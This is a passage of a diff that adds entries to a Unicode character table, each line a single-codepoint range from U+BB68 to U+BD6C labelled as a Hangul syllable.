+ [0xbb68, 0xbb68], /* Hangul Syllable */
+ [0xbb69, 0xbb69], /* Hangul Syllable */
+ [0xbb6a, 0xbb6a], /* Hangul Syllable */
+ [0xbb6b, 0xbb6b], /* Hangul Syllable */
+ [0xbb6c, 0xbb6c], /* Hangul Syllable */
+ [0xbb6d, 0xbb6d], /* Hangul Syllable */
+ [0xbb6e, 0xbb6e], /* Hangul Syllable */
+ [0xbb6f, 0xbb6f], /* Hangul Syllable */
+ [0xbb70, 0xbb70], /* Hangul Syllable */
+ [0xbb71, 0xbb71], /* Hangul Syllable */
+ [0xbb72, 0xbb72], /* Hangul Syllable */
+ [0xbb73, 0xbb73], /* Hangul Syllable */
+ [0xbb74, 0xbb74], /* Hangul Syllable */
+ [0xbb75, 0xbb75], /* Hangul Syllable */
+ [0xbb76, 0xbb76], /* Hangul Syllable */
+ [0xbb77, 0xbb77], /* Hangul Syllable */
+ [0xbb78, 0xbb78], /* Hangul Syllable */
+ [0xbb79, 0xbb79], /* Hangul Syllable */
+ [0xbb7a, 0xbb7a], /* Hangul Syllable */
+ [0xbb7b, 0xbb7b], /* Hangul Syllable */
+ [0xbb7c, 0xbb7c], /* Hangul Syllable */
+ [0xbb7d, 0xbb7d], /* Hangul Syllable */
+ [0xbb7e, 0xbb7e], /* Hangul Syllable */
+ [0xbb7f, 0xbb7f], /* Hangul Syllable */
+ [0xbb80, 0xbb80], /* Hangul Syllable */
+ [0xbb81, 0xbb81], /* Hangul Syllable */
+ [0xbb82, 0xbb82], /* Hangul Syllable */
+ [0xbb83, 0xbb83], /* Hangul Syllable */
+ [0xbb84, 0xbb84], /* Hangul Syllable */
+ [0xbb85, 0xbb85], /* Hangul Syllable */
+ [0xbb86, 0xbb86], /* Hangul Syllable */
+ [0xbb87, 0xbb87], /* Hangul Syllable */
+ [0xbb88, 0xbb88], /* Hangul Syllable */
+ [0xbb89, 0xbb89], /* Hangul Syllable */
+ [0xbb8a, 0xbb8a], /* Hangul Syllable */
+ [0xbb8b, 0xbb8b], /* Hangul Syllable */
+ [0xbb8c, 0xbb8c], /* Hangul Syllable */
+ [0xbb8d, 0xbb8d], /* Hangul Syllable */
+ [0xbb8e, 0xbb8e], /* Hangul Syllable */
+ [0xbb8f, 0xbb8f], /* Hangul Syllable */
+ [0xbb90, 0xbb90], /* Hangul Syllable */
+ [0xbb91, 0xbb91], /* Hangul Syllable */
+ [0xbb92, 0xbb92], /* Hangul Syllable */
+ [0xbb93, 0xbb93], /* Hangul Syllable */
+ [0xbb94, 0xbb94], /* Hangul Syllable */
+ [0xbb95, 0xbb95], /* Hangul Syllable */
+ [0xbb96, 0xbb96], /* Hangul Syllable */
+ [0xbb97, 0xbb97], /* Hangul Syllable */
+ [0xbb98, 0xbb98], /* Hangul Syllable */
+ [0xbb99, 0xbb99], /* Hangul Syllable */
+ [0xbb9a, 0xbb9a], /* Hangul Syllable */
+ [0xbb9b, 0xbb9b], /* Hangul Syllable */
+ [0xbb9c, 0xbb9c], /* Hangul Syllable */
+ [0xbb9d, 0xbb9d], /* Hangul Syllable */
+ [0xbb9e, 0xbb9e], /* Hangul Syllable */
+ [0xbb9f, 0xbb9f], /* Hangul Syllable */
+ [0xbba0, 0xbba0], /* Hangul Syllable */
+ [0xbba1, 0xbba1], /* Hangul Syllable */
+ [0xbba2, 0xbba2], /* Hangul Syllable */
+ [0xbba3, 0xbba3], /* Hangul Syllable */
+ [0xbba4, 0xbba4], /* Hangul Syllable */
+ [0xbba5, 0xbba5], /* Hangul Syllable */
+ [0xbba6, 0xbba6], /* Hangul Syllable */
+ [0xbba7, 0xbba7], /* Hangul Syllable */
+ [0xbba8, 0xbba8], /* Hangul Syllable */
+ [0xbba9, 0xbba9], /* Hangul Syllable */
+ [0xbbaa, 0xbbaa], /* Hangul Syllable */
+ [0xbbab, 0xbbab], /* Hangul Syllable */
+ [0xbbac, 0xbbac], /* Hangul Syllable */
+ [0xbbad, 0xbbad], /* Hangul Syllable */
+ [0xbbae, 0xbbae], /* Hangul Syllable */
+ [0xbbaf, 0xbbaf], /* Hangul Syllable */
+ [0xbbb0, 0xbbb0], /* Hangul Syllable */
+ [0xbbb1, 0xbbb1], /* Hangul Syllable */
+ [0xbbb2, 0xbbb2], /* Hangul Syllable */
+ [0xbbb3, 0xbbb3], /* Hangul Syllable */
+ [0xbbb4, 0xbbb4], /* Hangul Syllable */
+ [0xbbb5, 0xbbb5], /* Hangul Syllable */
+ [0xbbb6, 0xbbb6], /* Hangul Syllable */
+ [0xbbb7, 0xbbb7], /* Hangul Syllable */
+ [0xbbb8, 0xbbb8], /* Hangul Syllable */
+ [0xbbb9, 0xbbb9], /* Hangul Syllable */
+ [0xbbba, 0xbbba], /* Hangul Syllable */
+ [0xbbbb, 0xbbbb], /* Hangul Syllable */
+ [0xbbbc, 0xbbbc], /* Hangul Syllable */
+ [0xbbbd, 0xbbbd], /* Hangul Syllable */
+ [0xbbbe, 0xbbbe], /* Hangul Syllable */
+ [0xbbbf, 0xbbbf], /* Hangul Syllable */
+ [0xbbc0, 0xbbc0], /* Hangul Syllable */
+ [0xbbc1, 0xbbc1], /* Hangul Syllable */
+ [0xbbc2, 0xbbc2], /* Hangul Syllable */
+ [0xbbc3, 0xbbc3], /* Hangul Syllable */
+ [0xbbc4, 0xbbc4], /* Hangul Syllable */
+ [0xbbc5, 0xbbc5], /* Hangul Syllable */
+ [0xbbc6, 0xbbc6], /* Hangul Syllable */
+ [0xbbc7, 0xbbc7], /* Hangul Syllable */
+ [0xbbc8, 0xbbc8], /* Hangul Syllable */
+ [0xbbc9, 0xbbc9], /* Hangul Syllable */
+ [0xbbca, 0xbbca], /* Hangul Syllable */
+ [0xbbcb, 0xbbcb], /* Hangul Syllable */
+ [0xbbcc, 0xbbcc], /* Hangul Syllable */
+ [0xbbcd, 0xbbcd], /* Hangul Syllable */
+ [0xbbce, 0xbbce], /* Hangul Syllable */
+ [0xbbcf, 0xbbcf], /* Hangul Syllable */
+ [0xbbd0, 0xbbd0], /* Hangul Syllable */
+ [0xbbd1, 0xbbd1], /* Hangul Syllable */
+ [0xbbd2, 0xbbd2], /* Hangul Syllable */
+ [0xbbd3, 0xbbd3], /* Hangul Syllable */
+ [0xbbd4, 0xbbd4], /* Hangul Syllable */
+ [0xbbd5, 0xbbd5], /* Hangul Syllable */
+ [0xbbd6, 0xbbd6], /* Hangul Syllable */
+ [0xbbd7, 0xbbd7], /* Hangul Syllable */
+ [0xbbd8, 0xbbd8], /* Hangul Syllable */
+ [0xbbd9, 0xbbd9], /* Hangul Syllable */
+ [0xbbda, 0xbbda], /* Hangul Syllable */
+ [0xbbdb, 0xbbdb], /* Hangul Syllable */
+ [0xbbdc, 0xbbdc], /* Hangul Syllable */
+ [0xbbdd, 0xbbdd], /* Hangul Syllable */
+ [0xbbde, 0xbbde], /* Hangul Syllable */
+ [0xbbdf, 0xbbdf], /* Hangul Syllable */
+ [0xbbe0, 0xbbe0], /* Hangul Syllable */
+ [0xbbe1, 0xbbe1], /* Hangul Syllable */
+ [0xbbe2, 0xbbe2], /* Hangul Syllable */
+ [0xbbe3, 0xbbe3], /* Hangul Syllable */
+ [0xbbe4, 0xbbe4], /* Hangul Syllable */
+ [0xbbe5, 0xbbe5], /* Hangul Syllable */
+ [0xbbe6, 0xbbe6], /* Hangul Syllable */
+ [0xbbe7, 0xbbe7], /* Hangul Syllable */
+ [0xbbe8, 0xbbe8], /* Hangul Syllable */
+ [0xbbe9, 0xbbe9], /* Hangul Syllable */
+ [0xbbea, 0xbbea], /* Hangul Syllable */
+ [0xbbeb, 0xbbeb], /* Hangul Syllable */
+ [0xbbec, 0xbbec], /* Hangul Syllable */
+ [0xbbed, 0xbbed], /* Hangul Syllable */
+ [0xbbee, 0xbbee], /* Hangul Syllable */
+ [0xbbef, 0xbbef], /* Hangul Syllable */
+ [0xbbf0, 0xbbf0], /* Hangul Syllable */
+ [0xbbf1, 0xbbf1], /* Hangul Syllable */
+ [0xbbf2, 0xbbf2], /* Hangul Syllable */
+ [0xbbf3, 0xbbf3], /* Hangul Syllable */
+ [0xbbf4, 0xbbf4], /* Hangul Syllable */
+ [0xbbf5, 0xbbf5], /* Hangul Syllable */
+ [0xbbf6, 0xbbf6], /* Hangul Syllable */
+ [0xbbf7, 0xbbf7], /* Hangul Syllable */
+ [0xbbf8, 0xbbf8], /* Hangul Syllable */
+ [0xbbf9, 0xbbf9], /* Hangul Syllable */
+ [0xbbfa, 0xbbfa], /* Hangul Syllable */
+ [0xbbfb, 0xbbfb], /* Hangul Syllable */
+ [0xbbfc, 0xbbfc], /* Hangul Syllable */
+ [0xbbfd, 0xbbfd], /* Hangul Syllable */
+ [0xbbfe, 0xbbfe], /* Hangul Syllable */
+ [0xbbff, 0xbbff], /* Hangul Syllable */
+ [0xbc00, 0xbc00], /* Hangul Syllable */
+ [0xbc01, 0xbc01], /* Hangul Syllable */
+ [0xbc02, 0xbc02], /* Hangul Syllable */
+ [0xbc03, 0xbc03], /* Hangul Syllable */
+ [0xbc04, 0xbc04], /* Hangul Syllable */
+ [0xbc05, 0xbc05], /* Hangul Syllable */
+ [0xbc06, 0xbc06], /* Hangul Syllable */
+ [0xbc07, 0xbc07], /* Hangul Syllable */
+ [0xbc08, 0xbc08], /* Hangul Syllable */
+ [0xbc09, 0xbc09], /* Hangul Syllable */
+ [0xbc0a, 0xbc0a], /* Hangul Syllable */
+ [0xbc0b, 0xbc0b], /* Hangul Syllable */
+ [0xbc0c, 0xbc0c], /* Hangul Syllable */
+ [0xbc0d, 0xbc0d], /* Hangul Syllable */
+ [0xbc0e, 0xbc0e], /* Hangul Syllable */
+ [0xbc0f, 0xbc0f], /* Hangul Syllable */
+ [0xbc10, 0xbc10], /* Hangul Syllable */
+ [0xbc11, 0xbc11], /* Hangul Syllable */
+ [0xbc12, 0xbc12], /* Hangul Syllable */
+ [0xbc13, 0xbc13], /* Hangul Syllable */
+ [0xbc14, 0xbc14], /* Hangul Syllable */
+ [0xbc15, 0xbc15], /* Hangul Syllable */
+ [0xbc16, 0xbc16], /* Hangul Syllable */
+ [0xbc17, 0xbc17], /* Hangul Syllable */
+ [0xbc18, 0xbc18], /* Hangul Syllable */
+ [0xbc19, 0xbc19], /* Hangul Syllable */
+ [0xbc1a, 0xbc1a], /* Hangul Syllable */
+ [0xbc1b, 0xbc1b], /* Hangul Syllable */
+ [0xbc1c, 0xbc1c], /* Hangul Syllable */
+ [0xbc1d, 0xbc1d], /* Hangul Syllable */
+ [0xbc1e, 0xbc1e], /* Hangul Syllable */
+ [0xbc1f, 0xbc1f], /* Hangul Syllable */
+ [0xbc20, 0xbc20], /* Hangul Syllable */
+ [0xbc21, 0xbc21], /* Hangul Syllable */
+ [0xbc22, 0xbc22], /* Hangul Syllable */
+ [0xbc23, 0xbc23], /* Hangul Syllable */
+ [0xbc24, 0xbc24], /* Hangul Syllable */
+ [0xbc25, 0xbc25], /* Hangul Syllable */
+ [0xbc26, 0xbc26], /* Hangul Syllable */
+ [0xbc27, 0xbc27], /* Hangul Syllable */
+ [0xbc28, 0xbc28], /* Hangul Syllable */
+ [0xbc29, 0xbc29], /* Hangul Syllable */
+ [0xbc2a, 0xbc2a], /* Hangul Syllable */
+ [0xbc2b, 0xbc2b], /* Hangul Syllable */
+ [0xbc2c, 0xbc2c], /* Hangul Syllable */
+ [0xbc2d, 0xbc2d], /* Hangul Syllable */
+ [0xbc2e, 0xbc2e], /* Hangul Syllable */
+ [0xbc2f, 0xbc2f], /* Hangul Syllable */
+ [0xbc30, 0xbc30], /* Hangul Syllable */
+ [0xbc31, 0xbc31], /* Hangul Syllable */
+ [0xbc32, 0xbc32], /* Hangul Syllable */
+ [0xbc33, 0xbc33], /* Hangul Syllable */
+ [0xbc34, 0xbc34], /* Hangul Syllable */
+ [0xbc35, 0xbc35], /* Hangul Syllable */
+ [0xbc36, 0xbc36], /* Hangul Syllable */
+ [0xbc37, 0xbc37], /* Hangul Syllable */
+ [0xbc38, 0xbc38], /* Hangul Syllable */
+ [0xbc39, 0xbc39], /* Hangul Syllable */
+ [0xbc3a, 0xbc3a], /* Hangul Syllable */
+ [0xbc3b, 0xbc3b], /* Hangul Syllable */
+ [0xbc3c, 0xbc3c], /* Hangul Syllable */
+ [0xbc3d, 0xbc3d], /* Hangul Syllable */
+ [0xbc3e, 0xbc3e], /* Hangul Syllable */
+ [0xbc3f, 0xbc3f], /* Hangul Syllable */
+ [0xbc40, 0xbc40], /* Hangul Syllable */
+ [0xbc41, 0xbc41], /* Hangul Syllable */
+ [0xbc42, 0xbc42], /* Hangul Syllable */
+ [0xbc43, 0xbc43], /* Hangul Syllable */
+ [0xbc44, 0xbc44], /* Hangul Syllable */
+ [0xbc45, 0xbc45], /* Hangul Syllable */
+ [0xbc46, 0xbc46], /* Hangul Syllable */
+ [0xbc47, 0xbc47], /* Hangul Syllable */
+ [0xbc48, 0xbc48], /* Hangul Syllable */
+ [0xbc49, 0xbc49], /* Hangul Syllable */
+ [0xbc4a, 0xbc4a], /* Hangul Syllable */
+ [0xbc4b, 0xbc4b], /* Hangul Syllable */
+ [0xbc4c, 0xbc4c], /* Hangul Syllable */
+ [0xbc4d, 0xbc4d], /* Hangul Syllable */
+ [0xbc4e, 0xbc4e], /* Hangul Syllable */
+ [0xbc4f, 0xbc4f], /* Hangul Syllable */
+ [0xbc50, 0xbc50], /* Hangul Syllable */
+ [0xbc51, 0xbc51], /* Hangul Syllable */
+ [0xbc52, 0xbc52], /* Hangul Syllable */
+ [0xbc53, 0xbc53], /* Hangul Syllable */
+ [0xbc54, 0xbc54], /* Hangul Syllable */
+ [0xbc55, 0xbc55], /* Hangul Syllable */
+ [0xbc56, 0xbc56], /* Hangul Syllable */
+ [0xbc57, 0xbc57], /* Hangul Syllable */
+ [0xbc58, 0xbc58], /* Hangul Syllable */
+ [0xbc59, 0xbc59], /* Hangul Syllable */
+ [0xbc5a, 0xbc5a], /* Hangul Syllable */
+ [0xbc5b, 0xbc5b], /* Hangul Syllable */
+ [0xbc5c, 0xbc5c], /* Hangul Syllable */
+ [0xbc5d, 0xbc5d], /* Hangul Syllable */
+ [0xbc5e, 0xbc5e], /* Hangul Syllable */
+ [0xbc5f, 0xbc5f], /* Hangul Syllable */
+ [0xbc60, 0xbc60], /* Hangul Syllable */
+ [0xbc61, 0xbc61], /* Hangul Syllable */
+ [0xbc62, 0xbc62], /* Hangul Syllable */
+ [0xbc63, 0xbc63], /* Hangul Syllable */
+ [0xbc64, 0xbc64], /* Hangul Syllable */
+ [0xbc65, 0xbc65], /* Hangul Syllable */
+ [0xbc66, 0xbc66], /* Hangul Syllable */
+ [0xbc67, 0xbc67], /* Hangul Syllable */
+ [0xbc68, 0xbc68], /* Hangul Syllable */
+ [0xbc69, 0xbc69], /* Hangul Syllable */
+ [0xbc6a, 0xbc6a], /* Hangul Syllable */
+ [0xbc6b, 0xbc6b], /* Hangul Syllable */
+ [0xbc6c, 0xbc6c], /* Hangul Syllable */
+ [0xbc6d, 0xbc6d], /* Hangul Syllable */
+ [0xbc6e, 0xbc6e], /* Hangul Syllable */
+ [0xbc6f, 0xbc6f], /* Hangul Syllable */
+ [0xbc70, 0xbc70], /* Hangul Syllable */
+ [0xbc71, 0xbc71], /* Hangul Syllable */
+ [0xbc72, 0xbc72], /* Hangul Syllable */
+ [0xbc73, 0xbc73], /* Hangul Syllable */
+ [0xbc74, 0xbc74], /* Hangul Syllable */
+ [0xbc75, 0xbc75], /* Hangul Syllable */
+ [0xbc76, 0xbc76], /* Hangul Syllable */
+ [0xbc77, 0xbc77], /* Hangul Syllable */
+ [0xbc78, 0xbc78], /* Hangul Syllable */
+ [0xbc79, 0xbc79], /* Hangul Syllable */
+ [0xbc7a, 0xbc7a], /* Hangul Syllable */
+ [0xbc7b, 0xbc7b], /* Hangul Syllable */
+ [0xbc7c, 0xbc7c], /* Hangul Syllable */
+ [0xbc7d, 0xbc7d], /* Hangul Syllable */
+ [0xbc7e, 0xbc7e], /* Hangul Syllable */
+ [0xbc7f, 0xbc7f], /* Hangul Syllable */
+ [0xbc80, 0xbc80], /* Hangul Syllable */
+ [0xbc81, 0xbc81], /* Hangul Syllable */
+ [0xbc82, 0xbc82], /* Hangul Syllable */
+ [0xbc83, 0xbc83], /* Hangul Syllable */
+ [0xbc84, 0xbc84], /* Hangul Syllable */
+ [0xbc85, 0xbc85], /* Hangul Syllable */
+ [0xbc86, 0xbc86], /* Hangul Syllable */
+ [0xbc87, 0xbc87], /* Hangul Syllable */
+ [0xbc88, 0xbc88], /* Hangul Syllable */
+ [0xbc89, 0xbc89], /* Hangul Syllable */
+ [0xbc8a, 0xbc8a], /* Hangul Syllable */
+ [0xbc8b, 0xbc8b], /* Hangul Syllable */
+ [0xbc8c, 0xbc8c], /* Hangul Syllable */
+ [0xbc8d, 0xbc8d], /* Hangul Syllable */
+ [0xbc8e, 0xbc8e], /* Hangul Syllable */
+ [0xbc8f, 0xbc8f], /* Hangul Syllable */
+ [0xbc90, 0xbc90], /* Hangul Syllable */
+ [0xbc91, 0xbc91], /* Hangul Syllable */
+ [0xbc92, 0xbc92], /* Hangul Syllable */
+ [0xbc93, 0xbc93], /* Hangul Syllable */
+ [0xbc94, 0xbc94], /* Hangul Syllable */
+ [0xbc95, 0xbc95], /* Hangul Syllable */
+ [0xbc96, 0xbc96], /* Hangul Syllable */
+ [0xbc97, 0xbc97], /* Hangul Syllable */
+ [0xbc98, 0xbc98], /* Hangul Syllable */
+ [0xbc99, 0xbc99], /* Hangul Syllable */
+ [0xbc9a, 0xbc9a], /* Hangul Syllable */
+ [0xbc9b, 0xbc9b], /* Hangul Syllable */
+ [0xbc9c, 0xbc9c], /* Hangul Syllable */
+ [0xbc9d, 0xbc9d], /* Hangul Syllable */
+ [0xbc9e, 0xbc9e], /* Hangul Syllable */
+ [0xbc9f, 0xbc9f], /* Hangul Syllable */
+ [0xbca0, 0xbca0], /* Hangul Syllable */
+ [0xbca1, 0xbca1], /* Hangul Syllable */
+ [0xbca2, 0xbca2], /* Hangul Syllable */
+ [0xbca3, 0xbca3], /* Hangul Syllable */
+ [0xbca4, 0xbca4], /* Hangul Syllable */
+ [0xbca5, 0xbca5], /* Hangul Syllable */
+ [0xbca6, 0xbca6], /* Hangul Syllable */
+ [0xbca7, 0xbca7], /* Hangul Syllable */
+ [0xbca8, 0xbca8], /* Hangul Syllable */
+ [0xbca9, 0xbca9], /* Hangul Syllable */
+ [0xbcaa, 0xbcaa], /* Hangul Syllable */
+ [0xbcab, 0xbcab], /* Hangul Syllable */
+ [0xbcac, 0xbcac], /* Hangul Syllable */
+ [0xbcad, 0xbcad], /* Hangul Syllable */
+ [0xbcae, 0xbcae], /* Hangul Syllable */
+ [0xbcaf, 0xbcaf], /* Hangul Syllable */
+ [0xbcb0, 0xbcb0], /* Hangul Syllable */
+ [0xbcb1, 0xbcb1], /* Hangul Syllable */
+ [0xbcb2, 0xbcb2], /* Hangul Syllable */
+ [0xbcb3, 0xbcb3], /* Hangul Syllable */
+ [0xbcb4, 0xbcb4], /* Hangul Syllable */
+ [0xbcb5, 0xbcb5], /* Hangul Syllable */
+ [0xbcb6, 0xbcb6], /* Hangul Syllable */
+ [0xbcb7, 0xbcb7], /* Hangul Syllable */
+ [0xbcb8, 0xbcb8], /* Hangul Syllable */
+ [0xbcb9, 0xbcb9], /* Hangul Syllable */
+ [0xbcba, 0xbcba], /* Hangul Syllable */
+ [0xbcbb, 0xbcbb], /* Hangul Syllable */
+ [0xbcbc, 0xbcbc], /* Hangul Syllable */
+ [0xbcbd, 0xbcbd], /* Hangul Syllable */
+ [0xbcbe, 0xbcbe], /* Hangul Syllable */
+ [0xbcbf, 0xbcbf], /* Hangul Syllable */
+ [0xbcc0, 0xbcc0], /* Hangul Syllable */
+ [0xbcc1, 0xbcc1], /* Hangul Syllable */
+ [0xbcc2, 0xbcc2], /* Hangul Syllable */
+ [0xbcc3, 0xbcc3], /* Hangul Syllable */
+ [0xbcc4, 0xbcc4], /* Hangul Syllable */
+ [0xbcc5, 0xbcc5], /* Hangul Syllable */
+ [0xbcc6, 0xbcc6], /* Hangul Syllable */
+ [0xbcc7, 0xbcc7], /* Hangul Syllable */
+ [0xbcc8, 0xbcc8], /* Hangul Syllable */
+ [0xbcc9, 0xbcc9], /* Hangul Syllable */
+ [0xbcca, 0xbcca], /* Hangul Syllable */
+ [0xbccb, 0xbccb], /* Hangul Syllable */
+ [0xbccc, 0xbccc], /* Hangul Syllable */
+ [0xbccd, 0xbccd], /* Hangul Syllable */
+ [0xbcce, 0xbcce], /* Hangul Syllable */
+ [0xbccf, 0xbccf], /* Hangul Syllable */
+ [0xbcd0, 0xbcd0], /* Hangul Syllable */
+ [0xbcd1, 0xbcd1], /* Hangul Syllable */
+ [0xbcd2, 0xbcd2], /* Hangul Syllable */
+ [0xbcd3, 0xbcd3], /* Hangul Syllable */
+ [0xbcd4, 0xbcd4], /* Hangul Syllable */
+ [0xbcd5, 0xbcd5], /* Hangul Syllable */
+ [0xbcd6, 0xbcd6], /* Hangul Syllable */
+ [0xbcd7, 0xbcd7], /* Hangul Syllable */
+ [0xbcd8, 0xbcd8], /* Hangul Syllable */
+ [0xbcd9, 0xbcd9], /* Hangul Syllable */
+ [0xbcda, 0xbcda], /* Hangul Syllable */
+ [0xbcdb, 0xbcdb], /* Hangul Syllable */
+ [0xbcdc, 0xbcdc], /* Hangul Syllable */
+ [0xbcdd, 0xbcdd], /* Hangul Syllable */
+ [0xbcde, 0xbcde], /* Hangul Syllable */
+ [0xbcdf, 0xbcdf], /* Hangul Syllable */
+ [0xbce0, 0xbce0], /* Hangul Syllable */
+ [0xbce1, 0xbce1], /* Hangul Syllable */
+ [0xbce2, 0xbce2], /* Hangul Syllable */
+ [0xbce3, 0xbce3], /* Hangul Syllable */
+ [0xbce4, 0xbce4], /* Hangul Syllable */
+ [0xbce5, 0xbce5], /* Hangul Syllable */
+ [0xbce6, 0xbce6], /* Hangul Syllable */
+ [0xbce7, 0xbce7], /* Hangul Syllable */
+ [0xbce8, 0xbce8], /* Hangul Syllable */
+ [0xbce9, 0xbce9], /* Hangul Syllable */
+ [0xbcea, 0xbcea], /* Hangul Syllable */
+ [0xbceb, 0xbceb], /* Hangul Syllable */
+ [0xbcec, 0xbcec], /* Hangul Syllable */
+ [0xbced, 0xbced], /* Hangul Syllable */
+ [0xbcee, 0xbcee], /* Hangul Syllable */
+ [0xbcef, 0xbcef], /* Hangul Syllable */
+ [0xbcf0, 0xbcf0], /* Hangul Syllable */
+ [0xbcf1, 0xbcf1], /* Hangul Syllable */
+ [0xbcf2, 0xbcf2], /* Hangul Syllable */
+ [0xbcf3, 0xbcf3], /* Hangul Syllable */
+ [0xbcf4, 0xbcf4], /* Hangul Syllable */
+ [0xbcf5, 0xbcf5], /* Hangul Syllable */
+ [0xbcf6, 0xbcf6], /* Hangul Syllable */
+ [0xbcf7, 0xbcf7], /* Hangul Syllable */
+ [0xbcf8, 0xbcf8], /* Hangul Syllable */
+ [0xbcf9, 0xbcf9], /* Hangul Syllable */
+ [0xbcfa, 0xbcfa], /* Hangul Syllable */
+ [0xbcfb, 0xbcfb], /* Hangul Syllable */
+ [0xbcfc, 0xbcfc], /* Hangul Syllable */
+ [0xbcfd, 0xbcfd], /* Hangul Syllable */
+ [0xbcfe, 0xbcfe], /* Hangul Syllable */
+ [0xbcff, 0xbcff], /* Hangul Syllable */
+ [0xbd00, 0xbd00], /* Hangul Syllable */
+ [0xbd01, 0xbd01], /* Hangul Syllable */
+ [0xbd02, 0xbd02], /* Hangul Syllable */
+ [0xbd03, 0xbd03], /* Hangul Syllable */
+ [0xbd04, 0xbd04], /* Hangul Syllable */
+ [0xbd05, 0xbd05], /* Hangul Syllable */
+ [0xbd06, 0xbd06], /* Hangul Syllable */
+ [0xbd07, 0xbd07], /* Hangul Syllable */
+ [0xbd08, 0xbd08], /* Hangul Syllable */
+ [0xbd09, 0xbd09], /* Hangul Syllable */
+ [0xbd0a, 0xbd0a], /* Hangul Syllable */
+ [0xbd0b, 0xbd0b], /* Hangul Syllable */
+ [0xbd0c, 0xbd0c], /* Hangul Syllable */
+ [0xbd0d, 0xbd0d], /* Hangul Syllable */
+ [0xbd0e, 0xbd0e], /* Hangul Syllable */
+ [0xbd0f, 0xbd0f], /* Hangul Syllable */
+ [0xbd10, 0xbd10], /* Hangul Syllable */
+ [0xbd11, 0xbd11], /* Hangul Syllable */
+ [0xbd12, 0xbd12], /* Hangul Syllable */
+ [0xbd13, 0xbd13], /* Hangul Syllable */
+ [0xbd14, 0xbd14], /* Hangul Syllable */
+ [0xbd15, 0xbd15], /* Hangul Syllable */
+ [0xbd16, 0xbd16], /* Hangul Syllable */
+ [0xbd17, 0xbd17], /* Hangul Syllable */
+ [0xbd18, 0xbd18], /* Hangul Syllable */
+ [0xbd19, 0xbd19], /* Hangul Syllable */
+ [0xbd1a, 0xbd1a], /* Hangul Syllable */
+ [0xbd1b, 0xbd1b], /* Hangul Syllable */
+ [0xbd1c, 0xbd1c], /* Hangul Syllable */
+ [0xbd1d, 0xbd1d], /* Hangul Syllable */
+ [0xbd1e, 0xbd1e], /* Hangul Syllable */
+ [0xbd1f, 0xbd1f], /* Hangul Syllable */
+ [0xbd20, 0xbd20], /* Hangul Syllable */
+ [0xbd21, 0xbd21], /* Hangul Syllable */
+ [0xbd22, 0xbd22], /* Hangul Syllable */
+ [0xbd23, 0xbd23], /* Hangul Syllable */
+ [0xbd24, 0xbd24], /* Hangul Syllable */
+ [0xbd25, 0xbd25], /* Hangul Syllable */
+ [0xbd26, 0xbd26], /* Hangul Syllable */
+ [0xbd27, 0xbd27], /* Hangul Syllable */
+ [0xbd28, 0xbd28], /* Hangul Syllable */
+ [0xbd29, 0xbd29], /* Hangul Syllable */
+ [0xbd2a, 0xbd2a], /* Hangul Syllable */
+ [0xbd2b, 0xbd2b], /* Hangul Syllable */
+ [0xbd2c, 0xbd2c], /* Hangul Syllable */
+ [0xbd2d, 0xbd2d], /* Hangul Syllable */
+ [0xbd2e, 0xbd2e], /* Hangul Syllable */
+ [0xbd2f, 0xbd2f], /* Hangul Syllable */
+ [0xbd30, 0xbd30], /* Hangul Syllable */
+ [0xbd31, 0xbd31], /* Hangul Syllable */
+ [0xbd32, 0xbd32], /* Hangul Syllable */
+ [0xbd33, 0xbd33], /* Hangul Syllable */
+ [0xbd34, 0xbd34], /* Hangul Syllable */
+ [0xbd35, 0xbd35], /* Hangul Syllable */
+ [0xbd36, 0xbd36], /* Hangul Syllable */
+ [0xbd37, 0xbd37], /* Hangul Syllable */
+ [0xbd38, 0xbd38], /* Hangul Syllable */
+ [0xbd39, 0xbd39], /* Hangul Syllable */
+ [0xbd3a, 0xbd3a], /* Hangul Syllable */
+ [0xbd3b, 0xbd3b], /* Hangul Syllable */
+ [0xbd3c, 0xbd3c], /* Hangul Syllable */
+ [0xbd3d, 0xbd3d], /* Hangul Syllable */
+ [0xbd3e, 0xbd3e], /* Hangul Syllable */
+ [0xbd3f, 0xbd3f], /* Hangul Syllable */
+ [0xbd40, 0xbd40], /* Hangul Syllable */
+ [0xbd41, 0xbd41], /* Hangul Syllable */
+ [0xbd42, 0xbd42], /* Hangul Syllable */
+ [0xbd43, 0xbd43], /* Hangul Syllable */
+ [0xbd44, 0xbd44], /* Hangul Syllable */
+ [0xbd45, 0xbd45], /* Hangul Syllable */
+ [0xbd46, 0xbd46], /* Hangul Syllable */
+ [0xbd47, 0xbd47], /* Hangul Syllable */
+ [0xbd48, 0xbd48], /* Hangul Syllable */
+ [0xbd49, 0xbd49], /* Hangul Syllable */
+ [0xbd4a, 0xbd4a], /* Hangul Syllable */
+ [0xbd4b, 0xbd4b], /* Hangul Syllable */
+ [0xbd4c, 0xbd4c], /* Hangul Syllable */
+ [0xbd4d, 0xbd4d], /* Hangul Syllable */
+ [0xbd4e, 0xbd4e], /* Hangul Syllable */
+ [0xbd4f, 0xbd4f], /* Hangul Syllable */
+ [0xbd50, 0xbd50], /* Hangul Syllable */
+ [0xbd51, 0xbd51], /* Hangul Syllable */
+ [0xbd52, 0xbd52], /* Hangul Syllable */
+ [0xbd53, 0xbd53], /* Hangul Syllable */
+ [0xbd54, 0xbd54], /* Hangul Syllable */
+ [0xbd55, 0xbd55], /* Hangul Syllable */
+ [0xbd56, 0xbd56], /* Hangul Syllable */
+ [0xbd57, 0xbd57], /* Hangul Syllable */
+ [0xbd58, 0xbd58], /* Hangul Syllable */
+ [0xbd59, 0xbd59], /* Hangul Syllable */
+ [0xbd5a, 0xbd5a], /* Hangul Syllable */
+ [0xbd5b, 0xbd5b], /* Hangul Syllable */
+ [0xbd5c, 0xbd5c], /* Hangul Syllable */
+ [0xbd5d, 0xbd5d], /* Hangul Syllable */
+ [0xbd5e, 0xbd5e], /* Hangul Syllable */
+ [0xbd5f, 0xbd5f], /* Hangul Syllable */
+ [0xbd60, 0xbd60], /* Hangul Syllable */
+ [0xbd61, 0xbd61], /* Hangul Syllable */
+ [0xbd62, 0xbd62], /* Hangul Syllable */
+ [0xbd63, 0xbd63], /* Hangul Syllable */
+ [0xbd64, 0xbd64], /* Hangul Syllable */
+ [0xbd65, 0xbd65], /* Hangul Syllable */
+ [0xbd66, 0xbd66], /* Hangul Syllable */
+ [0xbd67, 0xbd67], /* Hangul Syllable */
+ [0xbd68, 0xbd68], /* Hangul Syllable */
+ [0xbd69, 0xbd69], /* Hangul Syllable */
+ [0xbd6a, 0xbd6a], /* Hangul Syllable */
+ [0xbd6b, 0xbd6b], /* Hangul Syllable */
+ [0xbd6c, 0xbd6c], /* Hangul Syllable */
